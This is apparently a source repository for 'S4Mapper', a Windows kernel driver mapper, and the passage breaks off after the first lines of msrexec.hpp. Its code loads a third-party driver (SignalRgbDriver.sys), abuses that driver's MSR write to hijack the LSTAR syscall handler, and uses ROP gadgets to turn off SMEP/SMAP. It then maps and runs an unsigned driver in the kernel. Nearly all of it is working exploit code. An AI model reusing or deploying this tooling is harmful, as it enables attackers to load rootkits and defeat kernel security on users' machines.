├── README.md
├── S4mapper.sln
├── S4mapper.vcxproj
├── S4mapper.vcxproj.filters
├── S4mapper.vcxproj.user
├── SignalRgbDriver.sys
├── hmdm_ctx.cpp
├── hmdm_ctx.h
├── ia32.hpp
├── loadup.hpp
├── main.cpp
├── msrexec.cpp
├── msrexec.hpp
├── raw_driver.hpp
├── syscall_handler.asm
├── syscall_handler.h
├── utils.hpp
└── vdm.hpp
/README.md:
--------------------------------------------------------------------------------
1 | # S4Mapper
2 |
--------------------------------------------------------------------------------
/S4mapper.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.34114.132
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "S4mapper", "S4mapper.vcxproj", "{CE2C9CF7-F412-475E-BBFB-0A00121264CC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Release|x64 = Release|x64
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.ActiveCfg = Debug|x64
15 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.Build.0 = Debug|x64
16 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.ActiveCfg = Release|x64
17 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.Build.0 = Release|x64
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {DA5199F3-85B6-48E3-8F94-FFD39A8E4BB4}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/S4mapper.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | 16.0
15 | Win32Proj
16 | {ce2c9cf7-f412-475e-bbfb-0a00121264cc}
17 | physmememsrexec
18 | 10.0
19 | S4mapper
20 |
21 |
22 |
23 | Application
24 | true
25 | v142
26 | Unicode
27 |
28 |
29 | Application
30 | false
31 | v142
32 | true
33 | Unicode
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 | true
50 |
51 |
52 | false
53 |
54 |
55 |
56 | Level3
57 | true
58 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
59 | true
60 | stdcpp17
61 |
62 |
63 | Console
64 | true
65 |
66 |
67 |
68 |
69 | Level3
70 | true
71 | true
72 | true
73 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
74 | true
75 | stdcpp17
76 |
77 |
78 | Console
79 | true
80 | true
81 | true
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 | Document
102 |
103 |
104 |
105 |
106 |
107 |
108 |
--------------------------------------------------------------------------------
/S4mapper.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 |
14 |
15 | Source Files
16 |
17 |
18 | Source Files
19 |
20 |
21 | Source Files
22 |
23 |
24 |
25 |
26 | Header Files
27 |
28 |
29 | Header Files
30 |
31 |
32 | Header Files
33 |
34 |
35 | Header Files
36 |
37 |
38 | Header Files
39 |
40 |
41 | Header Files
42 |
43 |
44 | Header Files
45 |
46 |
47 | Header Files
48 |
49 |
50 |
51 |
52 | Source Files
53 |
54 |
55 |
--------------------------------------------------------------------------------
/S4mapper.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SignalRgbDriver.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gmh5225/S4Mapper/a3effb6fae19f1f16851e70103c89381804fe210/SignalRgbDriver.sys
--------------------------------------------------------------------------------
/hmdm_ctx.cpp:
--------------------------------------------------------------------------------
1 | #include "hmdm_ctx.h"
2 |
3 | namespace drv
4 | {
5 | hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
6 | :
7 | kalloc(std::get<0>(routines)),
8 | kmemcpy(std::get<1>(routines))
9 | {}
10 |
11 | auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair
12 | {
13 | if (drv_buffer.empty())
14 | return { {}, {} };
15 |
16 | const auto dos_header =
17 | reinterpret_cast(drv_buffer.data());
18 |
19 | const auto nt_header =
20 | reinterpret_cast(
21 | drv_buffer.data() + dos_header->e_lfanew);
22 |
23 | const auto section_header =
24 | reinterpret_cast(
25 | reinterpret_cast(&nt_header->OptionalHeader) +
26 | nt_header->FileHeader.SizeOfOptionalHeader);
27 |
28 | drv_buffer_t image_mapped;
29 | image_mapped.resize(nt_header->OptionalHeader.SizeOfImage);
30 | std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin());
31 |
32 | for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx)
33 | {
34 | const auto& section = section_header[idx];
35 | const auto target =
36 | reinterpret_cast(
37 | image_mapped.data() + section.VirtualAddress);
38 |
39 | const auto source =
40 | reinterpret_cast(
41 | dos_header + section.PointerToRawData);
42 |
43 | std::copy_n(drv_buffer.begin() + section.PointerToRawData,
44 | section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress);
45 | }
46 |
47 | const auto alloc_base =
48 | reinterpret_cast(
49 | kalloc(nt_header->OptionalHeader.SizeOfImage));
50 |
51 | DBG_PRINT("> alloc base -> 0x%p\n", alloc_base);
52 |
53 | if (!alloc_base)
54 | return { {}, {} };
55 |
56 | resolve_imports(image_mapped);
57 | fix_relocs(image_mapped, alloc_base);
58 |
59 | if (zero_headers)
60 | {
61 | const auto module_base =
62 | nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data();
63 |
64 | const auto module_size =
65 | nt_header->OptionalHeader.SizeOfImage -
66 | nt_header->OptionalHeader.SizeOfHeaders;
67 |
68 | kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size);
69 | }
70 | else
71 | {
72 | const auto module_size =
73 | nt_header->OptionalHeader.SizeOfImage;
74 |
75 | kmemcpy(alloc_base, image_mapped.data(), module_size);
76 | }
77 |
78 | return
79 | {
80 | reinterpret_cast(alloc_base),
81 | reinterpret_cast(alloc_base +
82 | nt_header->OptionalHeader.AddressOfEntryPoint)
83 | };
84 | }
85 |
86 | auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer, uint8_t* alloc_base) const -> void
87 | {
88 | const auto dos_header =
89 | reinterpret_cast(drv_buffer.data());
90 |
91 | const auto nt_header =
92 | reinterpret_cast(
93 | drv_buffer.data() + dos_header->e_lfanew);
94 |
95 | const auto base_reloc_dir =
96 | reinterpret_cast(
97 | &nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
98 |
99 | if (base_reloc_dir->VirtualAddress)
100 | {
101 | auto reloc =
102 | reinterpret_cast(
103 | drv_buffer.data() + base_reloc_dir->VirtualAddress);
104 |
105 | for (auto current_size = 0u; current_size < base_reloc_dir->Size;)
106 | {
107 | const auto reloc_count =
108 | (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
109 |
110 | auto reloc_data = reinterpret_cast(
111 | reinterpret_cast(reloc) + sizeof(IMAGE_BASE_RELOCATION));
112 |
113 | const auto reloc_base =
114 | drv_buffer.data() + reloc->VirtualAddress;
115 |
116 | for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data)
117 | {
118 | const auto data = *reloc_data;
119 | const auto type = data >> 12;
120 | const auto offset = data & 0xFFF;
121 |
122 | switch (type)
123 | {
124 | case IMAGE_REL_BASED_ABSOLUTE:
125 | break;
126 | case IMAGE_REL_BASED_DIR64:
127 | {
128 | const auto rva = reinterpret_cast(reloc_base + offset);
129 |
130 | *rva = reinterpret_cast(
131 | alloc_base + (*rva - nt_header->OptionalHeader.ImageBase));
132 | break;
133 | }
134 | default:
135 | return;
136 | }
137 | }
138 |
139 | current_size += reloc->SizeOfBlock;
140 | reloc = reinterpret_cast(reloc_data);
141 | }
142 | }
143 | }
144 |
145 | auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void
146 | {
147 | ULONG size;
148 | auto import_descriptors = static_cast(
149 | ::ImageDirectoryEntryToData(drv_buffer.data(),
150 | TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
151 |
152 | if (!import_descriptors)
153 | return;
154 |
155 | for (; import_descriptors->Name; import_descriptors++)
156 | {
157 | IMAGE_THUNK_DATA* image_thunk_data;
158 | const auto module_name =
159 | reinterpret_cast(
160 | drv_buffer.data() + import_descriptors->Name);
161 |
162 | if (import_descriptors->OriginalFirstThunk)
163 | image_thunk_data =
164 | reinterpret_cast(
165 | drv_buffer.data() + import_descriptors->OriginalFirstThunk);
166 | else
167 | image_thunk_data =
168 | reinterpret_cast(
169 | drv_buffer.data() + import_descriptors->FirstThunk);
170 |
171 | auto image_func_data =
172 | reinterpret_cast(
173 | drv_buffer.data() + import_descriptors->FirstThunk);
174 |
175 | for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
176 | {
177 | const auto image_import_by_name =
178 | reinterpret_cast(
179 | drv_buffer.data() + (*(DWORD*)image_thunk_data));
180 |
181 | const auto name_of_import =
182 | static_cast(image_import_by_name->Name);
183 |
184 | image_func_data->u1.Function =
185 | utils::kmodule::get_export(
186 | module_name, name_of_import);
187 |
188 | DBG_PRINT("> resolved import... %s!%s -> 0x%p\n",
189 | module_name, name_of_import, image_func_data->u1.Function);
190 | }
191 | }
192 | }
193 | }
--------------------------------------------------------------------------------
/hmdm_ctx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "utils.hpp"
3 | #include
4 | #include
5 |
6 | #pragma comment(lib, "Dbghelp.lib")
7 | namespace drv
8 | {
9 | using kalloc_t = std::function;
10 | using kmemcpy_t = std::function;
11 | using kmemset_t = std::function;
12 |
13 | using image_base_t = std::uintptr_t;
14 | using image_entry_t = std::uintptr_t;
15 | using mapper_routines_t = std::pair;
16 | using drv_buffer_t = std::vector;
17 |
18 | class hmdm_ctx
19 | {
20 | public:
21 | explicit hmdm_ctx(const mapper_routines_t& routines);
22 | auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true)->std::pair;
23 |
24 | const kalloc_t kalloc;
25 | const kmemcpy_t kmemcpy;
26 | private:
27 | auto resolve_imports(drv_buffer_t& drv_buffer) const -> void;
28 | auto fix_relocs(drv_buffer_t& drv_buffer, uint8_t* alloc_base) const -> void;
29 | };
30 | }
--------------------------------------------------------------------------------
/loadup.hpp:
--------------------------------------------------------------------------------
1 | /*
2 | MIT License
3 |
4 | Copyright (c) 2020 xerox
5 |
6 | Permission is hereby granted, free of charge, to any person obtaining a copy
7 | of this software and associated documentation files (the "Software"), to deal
8 | in the Software without restriction, including without limitation the rights
9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 | copies of the Software, and to permit persons to whom the Software is
11 | furnished to do so, subject to the following conditions:
12 |
13 | The above copyright notice and this permission notice shall be included in all
14 | copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
22 | SOFTWARE.
23 | */
24 |
25 |
26 | #pragma once
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 |
35 | #pragma comment(lib, "ntdll.lib")
36 | extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
37 | extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
38 |
39 | namespace driver
40 | {
41 | namespace util
42 | {
43 | inline auto delete_service_entry(const std::string& service_name) -> bool
44 | {
45 | HKEY reg_handle;
46 | static const std::string reg_key("System\\CurrentControlSet\\Services\\");
47 |
48 | auto result = RegOpenKeyA(
49 | HKEY_LOCAL_MACHINE,
50 | reg_key.c_str(),
51 | ®_handle
52 | );
53 |
54 | return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
55 | ERROR_SUCCESS == RegCloseKey(reg_handle);;
56 | }
57 |
58 | inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
59 | {
60 | HKEY reg_handle;
61 | std::string reg_key("System\\CurrentControlSet\\Services\\");
62 | reg_key += service_name;
63 |
64 | auto result = RegCreateKeyA(
65 | HKEY_LOCAL_MACHINE,
66 | reg_key.c_str(),
67 | ®_handle
68 | );
69 |
70 | if (result != ERROR_SUCCESS)
71 | return false;
72 |
73 | std::uint8_t type_value = 1;
74 | result = RegSetValueExA(
75 | reg_handle,
76 | "Type",
77 | NULL,
78 | REG_DWORD,
79 | &type_value,
80 | 4u
81 | );
82 |
83 | if (result != ERROR_SUCCESS)
84 | return false;
85 |
86 | std::uint8_t error_control_value = 3;
87 | result = RegSetValueExA(
88 | reg_handle,
89 | "ErrorControl",
90 | NULL,
91 | REG_DWORD,
92 | &error_control_value,
93 | 4u
94 | );
95 |
96 | if (result != ERROR_SUCCESS)
97 | return false;
98 |
99 | std::uint8_t start_value = 3;
100 | result = RegSetValueExA(
101 | reg_handle,
102 | "Start",
103 | NULL,
104 | REG_DWORD,
105 | &start_value,
106 | 4u
107 | );
108 |
109 | if (result != ERROR_SUCCESS)
110 | return false;
111 |
112 | result = RegSetValueExA(
113 | reg_handle,
114 | "ImagePath",
115 | NULL,
116 | REG_SZ,
117 | (std::uint8_t*)drv_path.c_str(),
118 | drv_path.size()
119 | );
120 |
121 | if (result != ERROR_SUCCESS)
122 | return false;
123 |
124 | return ERROR_SUCCESS == RegCloseKey(reg_handle);
125 | }
126 |
127 | inline auto enable_privilege(const std::wstring& privilege_name) -> bool
128 | {
129 | HANDLE token_handle = nullptr;
130 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
131 | return false;
132 |
133 | LUID luid{};
134 | if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
135 | return false;
136 |
137 | TOKEN_PRIVILEGES token_state{};
138 | token_state.PrivilegeCount = 1;
139 | token_state.Privileges[0].Luid = luid;
140 | token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
141 |
142 | if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
143 | return false;
144 |
145 | CloseHandle(token_handle);
146 | return true;
147 | }
148 |
149 | inline auto get_service_image_path(const std::string& service_name) -> std::string
150 | {
151 | HKEY reg_handle;
152 | DWORD bytes_read;
153 | char image_path[0xFF];
154 | static const std::string reg_key("System\\CurrentControlSet\\Services\\");
155 |
156 | auto result = RegOpenKeyA(
157 | HKEY_LOCAL_MACHINE,
158 | reg_key.c_str(),
159 | ®_handle
160 | );
161 |
162 | result = RegGetValueA(
163 | reg_handle,
164 | service_name.c_str(),
165 | "ImagePath",
166 | REG_SZ,
167 | NULL,
168 | image_path,
169 | &bytes_read
170 | );
171 |
172 | RegCloseKey(reg_handle);
173 | return std::string(image_path);
174 | }
175 | }
176 |
177 | inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
178 | {
179 | if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
180 | return false;
181 |
182 | if (!util::create_service_entry("\\??\\" +
183 | std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
184 | return false;
185 |
186 | std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
187 | reg_path += service_name;
188 |
189 | ANSI_STRING driver_rep_path_cstr;
190 | UNICODE_STRING driver_reg_path_unicode;
191 |
192 | RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
193 | RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
194 | return NtLoadDriver(&driver_reg_path_unicode);
195 | }
196 |
197 | inline auto load(const std::vector& drv_buffer) -> std::pair
198 | {
199 | static const auto random_file_name = [](std::size_t length) -> std::string
200 | {
201 | std::srand(std::time(0));
202 | static const auto randchar = []() -> char
203 | {
204 | const char charset[] =
205 | "0123456789"
206 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
207 | "abcdefghijklmnopqrstuvwxyz";
208 | const std::size_t max_index = (sizeof(charset) - 1);
209 | return charset[rand() % max_index];
210 | };
211 |
212 | std::string str(length, 0);
213 | std::generate_n(str.begin(), length, randchar);
214 | return str;
215 | };
216 |
217 | const auto service_name = random_file_name(16);
218 | const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
219 | std::ofstream output_file(file_path.c_str(), std::ios::binary);
220 |
221 | output_file.write((char*)drv_buffer.data(), drv_buffer.size());
222 | output_file.close();
223 |
224 | return { load(file_path, service_name), service_name };
225 | }
226 |
227 | inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair
228 | {
229 | std::vector image(buffer, buffer + size);
230 | return load(image);
231 | }
232 |
233 | inline auto unload(const std::string& service_name) -> NTSTATUS
234 | {
235 | std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
236 | reg_path += service_name;
237 |
238 | ANSI_STRING driver_rep_path_cstr;
239 | UNICODE_STRING driver_reg_path_unicode;
240 |
241 | RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
242 | RtlAnsiStringToUnicodeString(
243 | &driver_reg_path_unicode, &driver_rep_path_cstr, true);
244 |
245 | const bool unload_result =
246 | NtUnloadDriver(&driver_reg_path_unicode);
247 |
248 | util::delete_service_entry(service_name);
249 | // sometimes you cannot delete the driver off disk because there are still handles open
250 | // to the driver, this means the driver is still loaded into the kernel...
251 | try
252 | {
253 | std::filesystem::remove(
254 | std::filesystem::temp_directory_path()
255 | .string() + service_name);
256 | }
257 | catch (std::exception& e)
258 | {
259 | return STATUS_ABANDONED;
260 | }
261 | return unload_result;
262 | }
263 | }
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | #include "hmdm_ctx.h"
2 | #include "msrexec.hpp"
3 | #include "vdm.hpp"
4 |
5 | int __cdecl main(int argc, char** argv)
6 | {
7 | std::printf("> SiyahS4ncak...\n");
8 | if (argc < 2)
9 | {
10 | std::printf("> please provide a path to a driver...\n");
11 | return -1;
12 | }
13 |
14 | const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
15 | if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
16 | {
17 | std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
18 | return -1;
19 | }
20 |
21 | writemsr_t _write_msr =
22 | [&](std::uint32_t key, std::uint64_t value) -> bool
23 | {
24 | return vdm::writemsr(key, value);
25 | };
26 |
27 | vdm::msrexec_ctx msrexec(_write_msr);
28 | drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
29 | {
30 | void* alloc_base;
31 | msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
32 | {
33 | using ex_alloc_pool_t =
34 | void* (*)(std::uint32_t, std::size_t);
35 |
36 | const auto ex_alloc_pool =
37 | reinterpret_cast(
38 | get_kroutine(krnl_base, "ExAllocatePool"));
39 |
40 | alloc_base = ex_alloc_pool(NULL, size);
41 | });
42 | return alloc_base;
43 | };
44 |
45 | drv::kmemcpy_t _kmemcpy =
46 | [&](void* dest, const void* src, std::size_t size) -> void*
47 | {
48 | void* result = nullptr;
49 | msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
50 | {
51 | const auto kmemcpy =
52 | reinterpret_cast(
53 | get_kroutine(krnl_base, "memcpy"));
54 |
55 | result = kmemcpy(dest, src, size);
56 | });
57 | return result;
58 | };
59 |
60 | drv::drv_buffer_t drv_buffer;
61 | utils::open_binary_file(argv[1], drv_buffer);
62 | drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
63 |
64 | const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);
65 | std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry);
66 |
67 | if (!drv_base || !drv_entry)
68 | {
69 | std::printf("> failed to map driver...\n");
70 | return -1;
71 | }
72 |
73 | // call driver entry... its up to you to do this using whatever method...
74 | // with VDM you can syscall into it... with msrexec you will use msrexec::exec...
75 | NTSTATUS result;
76 | msrexec.exec([&result, drv_entry = drv_entry, drv_base = drv_base]
77 | (void* krnl_base, get_system_routine_t get_kroutine) -> void
78 | {
79 | using drv_entry_t = NTSTATUS(*)(std::uintptr_t);
80 | result = reinterpret_cast(drv_entry)(drv_base);
81 | });
82 |
83 | std::printf("> drv entry result -> 0x%x\n", result);
84 | const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
85 | if (unload_status != STATUS_SUCCESS)
86 | {
87 | std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
88 | return -1;
89 | }
90 | }
--------------------------------------------------------------------------------
/msrexec.cpp:
--------------------------------------------------------------------------------
1 | #include "msrexec.hpp"
2 |
3 | void msrexec_handler(callback_t* callback)
4 | {
5 | // restore LSTAR....
6 | __writemsr(IA32_LSTAR_MSR, m_system_call);
7 |
8 | // call usermode code...
9 | (*callback)(ntoskrnl_base, get_system_routine);
10 | }
11 |
12 | namespace vdm
13 | {
14 | msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
15 | : wrmsr(wrmsr)
16 | {
17 | if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
18 | if (!find_gadgets())
19 | DBG_PRINT("> failed to find gadgets...\n");
20 |
21 | if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
22 | if (!find_globals())
23 | DBG_PRINT("> failed to find globals...\n");
24 |
25 | cpuid_eax_01 cpuid_info;
26 | __cpuid((int*)&cpuid_info, 1);
27 |
28 | cpuid_eax_07 cpuid_features;
29 | __cpuid((int*)&cpuid_features, 7);
30 |
31 | cr4 cr4_value{};
32 | cr4_value.debugging_extensions = true;
33 | cr4_value.page_size_extensions = true;
34 | cr4_value.machine_check_enable = true;
35 |
36 | cr4_value.physical_address_extension =
37 | cpuid_info.cpuid_feature_information_edx.physical_address_extension;
38 |
39 | cr4_value.os_fxsave_fxrstor_support =
40 | cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
41 |
42 | cr4_value.os_xmm_exception_support = true;
43 |
44 | cr4_value.fsgsbase_enable =
45 | IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
46 |
47 | cr4_value.os_xsave =
48 | IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
49 |
50 | cr4_value.pcid_enable =
51 | cpuid_info.cpuid_feature_information_ecx
52 | .process_context_identifiers;
53 |
54 | m_smep_off.flags = cr4_value.flags;
55 | m_smep_off.smep_enable = false;
56 | m_smep_off.smap_enable = false; // newer cpus have this on...
57 |
58 | // WARNING: some virtual machines dont have SMEP...
59 | // my VMWare VM doesnt... nor does my Virtual Box VM...
60 | m_smep_on.flags = cr4_value.flags;
61 | m_smep_on.smep_enable = cpuid_features.ebx.smep;
62 | m_smep_on.smap_enable = cpuid_features.ebx.smap;
63 |
64 | ntoskrnl_base =
65 | reinterpret_cast(
66 | utils::kmodule::get_base("ntoskrnl.exe"));
67 |
68 | get_system_routine =
69 | reinterpret_cast(
70 | utils::kmodule::get_export(
71 | "ntoskrnl.exe", "RtlFindExportedRoutineByName"));
72 |
73 | DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
74 | DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
75 | DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
76 | DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
77 | DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
78 | DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
79 |
80 | DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
81 | DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
82 |
83 | DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n");
84 | std::getchar();
85 | }
86 |
87 | auto msrexec_ctx::find_gadgets() -> bool
88 | {
89 | m_mov_cr4_gadget =
90 | utils::rop::find_kgadget(
91 | MOV_CR4_GADGET, "xxxx");
92 |
93 | if (!m_mov_cr4_gadget)
94 | return {};
95 |
96 | m_sysret_gadget =
97 | utils::rop::find_kgadget(
98 | SYSRET_GADGET, "xxx");
99 |
100 | if (!m_sysret_gadget)
101 | return {};
102 |
103 | m_pop_rcx_gadget =
104 | utils::rop::find_kgadget(
105 | POP_RCX_GADGET, "xx");
106 |
107 | if (!m_pop_rcx_gadget)
108 | return {};
109 |
110 | return true;
111 | }
112 |
113 | auto msrexec_ctx::find_globals() -> bool
114 | {
115 | const auto [section_data, section_rva] =
116 | utils::pe::get_section(
117 | reinterpret_cast(
118 | LoadLibraryA("ntoskrnl.exe")), ".text");
119 |
120 | const auto ki_system_call =
121 | utils::scan(reinterpret_cast(
122 | section_data.data()), section_data.size(),
123 | KI_SYSCALL_SIG, KI_SYSCALL_MASK);
124 |
125 | if (!ki_system_call)
126 | return {};
127 |
128 | m_system_call = (ki_system_call -
129 | reinterpret_cast(
130 | section_data.data())) + section_rva +
131 | utils::kmodule::get_base("ntoskrnl.exe");
132 |
133 | /*
134 | .text:0000000140406CC0 KiSystemCall64
135 | .text:0000000140406CC0 0F 01 F8 swapgs
136 | .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
137 | .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
138 | */
139 |
140 | m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8);
141 | m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17);
142 |
143 | // handle KVA shadowing... if KVA shadowing is
144 | // enabled LSTAR will point at KiSystemCall64Shadow...
145 | SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
146 |
147 | // if SystemKernelVaShadowInformation is not a valid class just
148 | // return true and assume LSTAR points to KiSystemCall64...
149 | if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
150 | {
151 | if (kva_info.KvaShadowFlags.KvaShadowEnabled)
152 | {
153 | const auto [section_data, section_rva] =
154 | utils::pe::get_section(
155 | reinterpret_cast(
156 | LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
157 |
158 | // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
159 | if (!section_rva || section_data.empty())
160 | return true;
161 |
162 | const auto ki_system_shadow_call =
163 | utils::scan(reinterpret_cast(
164 | section_data.data()), section_data.size(),
165 | KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
166 |
167 | // already set m_syscall_call so we just return true...
168 | if (!ki_system_shadow_call)
169 | return true;
170 |
171 | // else we update m_system_call with KiSystemCall64Shadow...
172 | m_system_call = (ki_system_shadow_call -
173 | reinterpret_cast(
174 | section_data.data())) + section_rva +
175 | utils::kmodule::get_base("ntoskrnl.exe");
176 | }
177 | }
178 | return true;
179 | }
180 |
181 | void msrexec_ctx::exec(callback_t kernel_callback)
182 | {
183 | const thread_info_t thread_info =
184 | {
185 | GetPriorityClass(GetCurrentProcess()),
186 | GetThreadPriority(GetCurrentThread())
187 | };
188 |
189 | SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
190 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
191 |
192 | // set LSTAR to first rop gadget... race begins here...
193 | if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
194 | DBG_PRINT("> failed to set LSTAR...\n");
195 | else
196 | // go go gadget kernel execution...
197 | syscall_wrapper(&kernel_callback);
198 |
199 | SetPriorityClass(GetCurrentProcess(), thread_info.first);
200 | SetThreadPriority(GetCurrentThread(), thread_info.second);
201 | }
202 |
203 | void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
204 | { this->wrmsr = wrmsr; }
205 |
206 | auto msrexec_ctx::get_wrmsr() -> writemsr_t const
207 | { return this->wrmsr; }
208 | }
--------------------------------------------------------------------------------
/msrexec.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "utils.hpp"
